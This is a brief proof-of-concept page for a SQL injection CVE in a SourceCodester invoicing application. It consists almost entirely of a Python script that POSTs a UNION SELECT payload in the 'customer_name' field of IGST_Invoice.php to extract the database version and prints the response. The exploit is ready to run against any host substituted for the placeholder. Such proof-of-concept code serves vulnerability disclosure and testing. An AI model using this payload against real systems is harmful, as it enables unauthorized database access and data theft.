CVE-2026-9411 SourceCodester SQL注入漏洞

import requests # Target URL url = "http://target-host/Invoicing/IGST_Invoice.php" # Injection payload payload = { "customer_name": "test' UNION SELECT NULL, version(), NULL, NULL-- -", "category": "1" } try: # Sending POST request with malicious payload response = requests.post(url, data=payload) # Check if response contains database version or error indicating injection if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text[:500]) # Print first 500 chars for analysis else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")